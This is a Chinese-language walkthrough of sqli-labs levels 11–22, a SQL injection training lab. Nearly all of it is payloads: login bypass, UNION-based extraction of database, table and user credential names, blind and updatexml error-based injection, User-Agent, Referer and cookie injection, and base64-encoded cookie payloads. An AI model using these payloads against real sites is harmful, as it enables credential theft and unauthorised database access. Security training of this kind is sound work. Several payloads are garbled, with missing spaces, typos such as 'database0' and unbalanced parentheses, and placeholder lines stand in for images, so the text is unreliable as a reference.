Less 11-22

Less-11:出现登录界面   

在用户名输入 ‘  密码随便输    出来报错

SELECT username, password FROM users WHERE username=‘‘‘ and password=‘1‘ LIMIT 0,1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1‘ LIMIT 0,1‘ at line 1

可以看到查询username和password用and连接放在同一个SQL语句中

那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload:

使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submit
uname=admin‘ or 1=1- - &passwd=123&submit=Submit
uname=admin‘ or 1=1# &passwd=123&submit=Submit

注意:因为它不对我们POST的数据URL解码,所以我们不能使用%20 %23这些,直接用#- - 进行注释即可。

uname=admin‘ or 1=1 limit 0,1# &passwd=123&submit=Submit

limit 0,1是对第一个用户和密码进行  通过修改第一个数,得到其他的登录用户名

 Less 11-22

4. uname=a’ order by 3#&passwd=a &submit=Submit或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。

5.  uname =a&passwd=a’union select database0,2 # &submit=Submit

查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit

均可以查询到当前的数据库,当然也可以查询其它信息。

6. uname =a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #
&passwd=a&submit=Submit可以查询到当前的第一个数据库,或者uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据

7. uname=a’ union  select 1,(select group_concat(table_name) from information_schema.tables wheretable_schema=’security’ #&passwd=a&submit=submit /可以得到/security数据库中的所有表信息

 Less 11-22

Less 11-22

Less-12:使用(”a”)包裹

与第十一关一样

uname=a") union select1,group_concat(concat(0x7e,username,password)) from security.users#&passwd=a &submit=submit

Less-13: 使用(’a’)包裹    不返回结果,我们使用盲注进行破解

也可以使用burp suite进行破解

盲注的几种形式:

  1. selest length(database())
  2. 2.if((1>2),3,4)
  3. 3.left(database(),1)<拿出一个字符>

if(length (database())=8,1,sleep(5));  判断数据库长度是8

uname=a‘) or length(database())=8#&passwd=a&submit=submit

uname=a‘) or left((select schema_name frominformation_schema.schemata limit 0,1),1)>‘a‘#&passwd=a&submit=submit  显示成功  (A-Z   0-9  _等)

通过修改schema_name来推测出表,列

 Less-14:使用”a”进行包裹

其他的与第十三关一致

uname=a" or left((select schema_namefrom information_schema.schemata limit 0,1),1)>‘u‘#&passwd=a&submit=submit

Less-15: 使用‘admin‘包裹

其他的与第十三关一致

uname=a’ or left((select schema_name frominformation_schema.schemata limit 0,1),1)>‘u‘#&passwd=a&submit=submit

Less-16: 使用("admin")包裹

其他的与第十三关一致

uname=a” or left((select schema_name frominformation_schema.schemata limit 0,1),1)>‘u‘#&passwd=a&submit=submit

Less-17:

 Less 11-22

 在第十七关index.php里面添加echo $update;  echo “<br>”;

 Less 11-22

当post里写  uname=admin’#&passwd=ad&submit=submit不会有更新的那一条语句

 Less 11-22

当post里写  uname=admin&passwd=ad’#&submit=submit就有更新的那一条语句,所以在passwd里对语句进行更改

 Less 11-22

 根据index.php里面的代码我们可以看到使用get_magic_quotes_gpc   对namepassword分开进行验证,并且在验证时候对name进行了过滤处理,将’这个符号进行了转义。

 Less 11-22

首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息

Uname=admin&passwd=ad’ andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=’security’ limit 0,1),0x7e),1)#&submit=submit

通过查询,得到secuurity库下面的其中一个表的名字

 Less 11-22

Uname=admin&passwd=ad’ andupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name=’users’ limit 0,1),0x7e),1)#&submit=submit

通过查询,得到secuurity.users里的其中一个列的名字

 Less 11-22

 Less 11-22

Less-18:

 添加

 Less 11-22

使用mysql命令查看users里的用户名和对应的密码

 Less 11-22

登录成功后会有一行user agent

 Less 11-22

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES(‘Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0‘,‘127.0.0.1‘, ‘admin‘)

比如这个:

 Less 11-22

 两种方式:

第一种:‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1

第二种:‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#              

 Less 11-22

 出来库

‘ orupdatexml(1,concat(0x7e,(select schema_name from information_schema.schematalimit 0,1)),1), ‘‘,‘‘)# 

表 

‘orupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=‘security‘ limit 0,1)),1), ‘‘,‘‘)# 

‘orupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name=‘users‘ limit 0,1)),1), ‘‘,‘‘)# 
字段

‘ orupdatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1),‘‘,‘‘)# 

Less-19:其他与第18关一致

通过insert语句进行分析

INSERT INTO `security`.`referers` (`referer`, `ip_address`)VALUES (‘http://localhost/sqli-labs-master/sqli-labs-master/Less-19/‘,‘127.0.0.1‘)

分析后得知,需要进行闭合操作,两种方法:
(1)‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1‘=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

 Less 11-22

Less20:

使用admin  admin 登录

Less 11-22

 使用burp suite工具 刷新出来cookie ,更改cookie使uname=admin’ ,点GO出来下图(有错误说明有漏洞)

 Less 11-22

猜测列数:

查看列数:uname=‘order by 5 #    通过实验知道列数为3

 Less 11-22

看回显位置:uname=’union select 1,2,3#

 Less 11-22

库uname=‘union select1,2,group_concat(schema_name)from information_schema.schemata#

表uname=‘union select1,2,group_concat(table_name)from information_schema.tables wheretable_schema=‘security‘#

列uname=‘unionselect 1,2,group_concat(column_name)from information_schema.columns wheretable_name=‘users‘#

字段uname=‘union select1,2,group_concat(concat_ws(‘~‘,username,password))from security.users#

Less-21:

 admin   admin 登录了之后

 Less 11-22

使用 https://base64.us 进行解码        看到就是admin

接下来修改cookie  uname   后面的已经加密了的语句就可以了

uname=‘)unionselect 1,2,database()#    

编码后为:

dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

 Less 11-22

Less-22:

 admin  admin登录    跟第21关一样

" union select ,2,database()#

编码后为:

IiB1bmlvbiBzZWxlY3QgLDIsZGF0YWJhc2UoKSM=

Less 11-22

相关推荐